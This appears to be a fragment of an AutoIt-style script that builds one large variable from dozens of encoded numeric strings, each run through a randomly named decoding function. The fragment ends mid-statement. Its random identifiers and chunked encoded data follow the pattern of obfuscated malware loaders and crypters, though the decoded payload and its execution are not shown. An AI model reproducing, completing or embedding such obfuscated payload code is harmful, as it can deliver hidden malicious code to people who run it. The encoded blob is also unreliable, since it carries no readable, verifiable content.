("56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,54,56,54,56,55,56,56,57,58,56,54,56,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,5,56,6,56,6,56,6,56,55,56,54,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56,56,54,56,55,56,53,56,57,57,57,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("53,56,6,56,55,56,53,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,53,56,58,56,54,57,54,56,53,56,5,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,6,56,54,56,59,56,53,56,57,56,54,56,6,56,6,56,6,56,6,56,55,56,6,56,60,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,54,56,55,56,54,56,57,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,5,56,53,56,60,56,53,56,56,56,6,56,6,56,6,56,55,57,56,56,56,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56,56,54,56,55,56,53,56,57,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,57,57,54,57,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,56,53,56,56,56,53,56,58,56,54,57,54,56,53,56,5,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,58,56,54,56,55,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,58,56,54,56,55,56,54,57,57,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,57,56,54,56,55,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54,56,54,57,55,56,53,56,56,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,6,56,53,56,56,56,60,56,60,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,55,56,54,56,54,56,5,57,57,56,53,56,6,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("55,57,58,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,56,56,53,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,57,56,56,57,56,56,54,56,55,56,54,57,56,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,53,56,5,56,60,56,60,57,57,56,53,56,56,56,55,57,59,56,6,56,56,57,57,56,54,57,54,56,54,56,59,56,54,56,56,57,57,56,53,56,56,56,55,57,59,57,57,56,56,57,57,56,54,56,5,56,54,56,58,56,53,56,58,57,57,56,53" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,55,57,58,56,60,56,54,56,59,56,53,56,58,56,53,56,5,56,56,56,59,56,6,56,6,56,56,56,55,57,58,56,56,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,53,56,54,56,55,56,53,56,56,56,55,56,60,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,54,56,54,56,57,56,56,56,59,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,54,56,56,56,54,56,56,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,56,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,55,56,54,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,57,55,57,57,56,54,56,59,56,54,56,56,56,53,56,54,56,54,56,59,57,57,56,53,56,56,56,55,57,54,56,60,56,53,56,60,56,54,56,5,56,57,56,57,56,57,56,58,57,57,56,53,56,56,56,55,57,54,56,56,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,56,56,55,57,54,56,6,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,53" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,53,56,58,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,54,57,55,56,55,56,53,56,6,56,6,56,6,56,55,56,57,56,60,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,57,56,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,56,56,54,56,55,56,54,56,57,57,57,56,53,56,6,56,55,57,55,56,60,57,54,56,5,57,54,57,54,57,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,56,53,56,56,56,55,56,54,56,54,56,5,56,53,56,58,57,57,56,53,56,6,56,55,57,55,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,53,56,55,56,54,56,59,56,54,57,57,57,57,56,53,56,6,56,55,57,55,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,56,56,54,56,55,56,54,57,56,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,57,55,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,5,56,6,56,6,56,6,56,55,57,55,57,55,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,57,54,56,56,56,54,56,53,56,58,56,54,56,55,56,54,56,55,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,56,53,56,6,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,54,56,55,56,54,56,59,57,57,56,53,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,56,55,56,55,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,55,56,53,56,6,56,6,56,6,56,55,56,55,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,55" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,59,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,54,57,54,56,56,57,56,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,56,56,54,57,54,56,53,56,58,56,54,56,54,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("58,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,56,56,54,56,5,56,54,57,55,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,55,56,55,56,60,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,54,56,54,56,57,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,59,57,55,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,55,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,53,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,56,56,54,56,55,56,55,56,54,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,58,56,53,56,56,56,53,56,55,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,57,56,56,57,56,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,59,57,54,57,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,56,54,57,56,56,54,57,54,56,53,56,58,56,53,56,5,56,6,56,6,56,6,56,55,56,54,56,56,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,57,59,56,53,56,53,56,55,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,56,56,54,56,59,56,53,56,60,56,55,56,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,54,56,55,56,53,56,53,56,56,57,54,57,57,56,53,56,6,56,55,56,53" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,54,56,55,56,57,56,54,56,55,56,54,56,57,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,53,57,57,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,55,56,54,57,56,56,54,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("55,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,6,56,6,56,6,56,55,56,58,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,54,57,54,56,54,57,55,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,53,56,6,56,53,56,56,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,6,56,6,56,6,56,55,56,54,57,55,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,57,55,56,53,56,56,56,56,56,53,56,54,56,55,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,57,56,54,57,54,56,54,57,55,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,53,56,6,56,53,56,56,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,6" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,6,56,6,56,55,56,56,56,54,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,56,56,54,56,59,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,60,56,55,56,54,56,54,56,5,56,54,56,55,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,53,56,56,57,54,56,54,56,54,56,55,56,57,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,56,53,56,56,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,57,56,58,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,58,57,54,57,54,57,54,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,55,56,57,56,54,56,55,56,54,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,56,57,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,56,56,55,56,53,56,6,56,53,56,60,56,54,56,59,57,57,56,53,56,6,56,55,56,56,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,56,56,56,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,56,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,54,56,54,56,5,56,53,56,58,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,57,56,53,56,6,56,55,56,56,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,57,56,56,54,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,56,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,57,56,53,56,56,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,55,56,54,56,53,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,53,56,60,56,60,57,57,56,53,56,6,56,55,57,54,56,6,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,59,57,54,57,54,57,54,57,54,56,56,56,53,56,54,56,55,56,53,56,56,56,56,57,56,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,56,56,53,56,55,56,54,57,57,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,56,56,54,56,54,56,5,56,54,57,57,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,56,57,55,56,54,56,59,56,54,57,56,56,54,56,54,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,58,57,54,57,54,57,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,56,54,56,55,56,56,56,59,56,6,56,6,56,6,56,55,56,60,57,59,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,57,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,57,57,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,56,56,5,57,57,56,53,56,6,56,55,57,57,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,54,56,54,57,54,56,53,56,58,57,57,56,53,56,6,56,55,57,57,57,57,57,54,56,5,57,54,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,56,54,57,56,56,54,56,59,56,53,56,56,56,54,56,5,57,57,56,53,56,6,56,55,57,56,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,56,56,54,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,57,56,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,57,56,56,54,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,54,57,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,55,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,56,56,54,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,56,53,56,58,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,56,56,54,56,54,56,5,56,54,56,54,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,6,56,55,57,59,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,57,59,56,58,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,57,56,54,56,55,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,54,56,54,56,59,56,54,57,57,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,55,56,54,56,55,56,56,57,58,56,54,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("55,56,54,56,54,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,54,56,54,56,5,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,56,6,56,6,57,54,57,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,53,56,53,56,58,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,56,56,54,56,55,56,56,56,54,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,57,56,54,56,55,56,60,56,60,57,57,56,53,56,6,56,55,57,55,56,6,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,54,57,57,56,53,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,56,55,57,55,57,57,57,54,56,6,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,54,57,56,56,54,56,59,57,57,56,53,56,6,56,55,57,54,56,60,57,54,56,6,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,57,56,53,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,54,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,53,56,58,56,54,56,55,56,54,57,55,56,53,56,56,57,57,56,53,56,6,56,55,57,54,56,6,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,55,56,53,56,57,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,54,57,57,57,54,56,6,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,56,56,57,58,56,54,56,55,56,53,56,5,56,55,56,60,57,57,56,53,56,6,56,55,56,60,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,6,56,60,56,60,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,54,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,6,56,6,56,6,56,55,56,54,57,55,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,56,6,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,56,54,57,56,56,54,56,55,56,54,57,56,56,53,56,57,56,54,56,54,57,57,56,53,56,56,56,55,56,6,57,57,56,54,56,55,56,53,56,56,56,6,56,6,56,56,56,55,56,6,57,55,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,59,56,53,56,5,56,56,56,55,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,6,56,54,56,55,56,54,56,57,56,53,56,55" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,57,58,57,57,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,56,6,56,60,56,53,56,53,56,54,56,57,56,53,56,57,56,54,57,57,56,54,56,54,57,57,56,53,56,56,56,55,56,6,56,56,56,54,56,55,56,54,57,55,56,6,56,6,56,56,56,55,56,6,56,54,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,56,55,56,5,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,57,57,56,53,56,6,56,55,57,59,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,56,56,55,56,53,56,6,56,6,56,6,56,6,56,55,57,59,56,6,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,57,56,54,57,54,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,56,56,54,56,5,56,54,57,55,56,54,56,54,57,57,56,53,56,6,56,55,56,5,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,55,56,54,56,55,56,6,56,6,56,6,56,55,56,5,56,54,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,57,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("58,56,54,56,55,56,54,56,59,56,53,56,56,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,55,56,55,56,53,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,55,56,56,56,54,56,6,56,53,56,58,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,54,56,56,56,60,56,60,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,57,56,55,56,56,56,54,57,54,56,54,57,58,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,6,56,6,56,6,56,55,56,55,57,59,57,54,57,58,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,59,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,59,56,54,56,56,57,57,56,53,56,6,56,55,57,59,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,59,56,53,56,55,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,58,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,56,53,56,58,56,54,56,5,56,53,56,54,57,57,56,53,56,6,56,55,57,58,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,57,56,54,56,55,56,54,56,53,57,57,56,53,56,6" ) $LMASCGP &= BTBXJYMRFGAETPA 